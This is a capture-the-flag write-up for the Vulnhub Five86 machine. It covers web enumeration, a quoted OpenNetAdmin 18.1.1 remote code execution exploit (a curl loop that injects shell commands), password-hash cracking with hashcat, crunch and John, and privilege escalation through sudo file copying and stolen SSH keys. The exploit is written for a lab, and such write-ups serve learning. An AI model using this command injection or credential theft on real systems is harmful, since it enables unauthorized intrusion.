Vulnhub - Five86 writeup

WARNING: There were some changes made after I beta tested the machine so you might not see some things at the place this writeup says so but you would still be able to root the machine with the help of this writeup.



When we visit the website on port 80 we see page that have a HINT for us:

Since there wasn’t much on the page I ran gobuster on it.

we can see that there is a robots.txt file there.

There is only one entry in that file i.e /ona. If we visit that we are given access to a opennetadmin interface with guest login.

I tried looking around the interface but couldn’t find anything interesting and also for some reason my mind was trying to find some password hashes since the hint said something about hashcat and we know hashcat only works on hashes of some kind.

I searched opennetadmin on searchsploit and found an exploit for version 18.1.1.

# Exploit Title: OpenNetAdmin 18.1.1 - Remote Code Execution
# Date: 2019-11-19
# Exploit Author: mattpascoe
# Vendor Homepage:
# Software Link:
# Version: v18.1.1
# Tested on: Linux

# Exploit Title: OpenNetAdmin v18.1.1 RCE
# Date: 2019-11-19
# Exploit Author: mattpascoe
# Vendor Homepage:
# Software Link:
# Version: v18.1.1
# Tested on: Linux


while true;do
 echo -n "$ "; read cmd
 curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1

If we run


We’ll get a shell but in some way it is restricted cause we cannot do things like change directory to something else like cd /home etc.

In this shell we can run ls or cat type command but we cannot leave the directory we are currently in, it some kind of sandbox. First I thought since we cannot leave the directory meaning we have to look within the content of this directory but then I noticed something if we run any command that might result in error, the error isn’t shown. Like cat /etc/shadow would give some kind of permission denied but we don’t see any error, so some way these errors are being compressed.

So I ran the following command to find all the file www-data have access to.

$ find / -type f -user www-data

CMD Breakdown

  • find - is a linux command to find anything like file or directory.
  • The first argument i.e / is the place to perform the search.
  • -type - It takes f or d resembling what we are searching.
    • f - For files
    • d - For directories
  • -user - This tells in connection to which user. This command will search all the files that have permission for www-data under /(complete file system)

We can see that there are two files that www-data have permission for. If we read the /var/www/html/reports/.htaccess file we’ll get the following output:

In the output we can see AuthUserFile path if we read that we’ll get a password hash for user douglas


Now we can run hashcat on this hash to crack the password. We can use the following command to crack with hashcat

➜ hashcat -m 1600 hash.txt --force -a 3 -1 aefhrt ?1?1?1?1?1?1?1?1 -O

But for some reason hashcat was acting up so I made a list using crunch and then used jtr to crack using that list.

➜ crunch 8 8 aefhrt > password.txt
➜ john --wordlist=password.txt hash.txt


We can use this password to login via SSH

Privilege Escalation

The first thing I checked was the sudo right for douglas

We can run cp and ls as jen meaning we’ll be able to look into /home/jen directory and see if there is something worth taking.

So we can copy files with cp command in /tmp but issue is that we still won’t be able to open that file cause it will have jen permission.

To bypass that we can just download those files on our own system and open it normally.

sudo -u jen /bin/cp /home/jen/keys.tar.gz /tmp/

Then start python -m http.server and get that tar file. That file had private SSH key for jen. We can just use those to login as jen.

ssh jen@ -i id_rsa

I again ran the find command but this type to look for jen files and found that there was a /var/mail/jen.

we can see that there is the password for moss.


Then in moss home directory I found that there was a hidden directory named .games in there was a binary named upyourgame now TBH I don’t know what it was I just ran it and typed yes and no and got root.

This was an a nice machine and I really liked it. Thanks to @DCAU7 or I should say @Five86_x for letting me beta test this.

Thanks for reading, Feedback is always appreciated.

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